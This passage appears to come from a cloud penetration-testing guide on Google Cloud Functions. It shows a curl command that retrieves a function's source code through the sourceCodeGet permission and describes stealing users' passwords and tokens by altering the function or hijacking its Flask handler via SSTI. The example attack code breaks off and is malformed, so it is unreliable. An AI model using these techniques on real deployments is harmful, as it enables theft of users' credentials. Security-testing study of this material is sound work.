### `cloudfunctions.functions.sourceCodeGet`

With this permission you can get a **signed URL to be able to download the source code** of the Cloud Function:

```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```

### Steal Cloud Function Requests

If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.

Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.

For example this code implements the attack:

```python
import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
    """HTTP Cloud Function.
    Args:
        request (flask.Request): The request object.
        <https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
    Returns:
        The response text, or any set of values that can be turned into a
        Response object using `make_response`
        <https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
    """

        else:
            return "Hello World!"
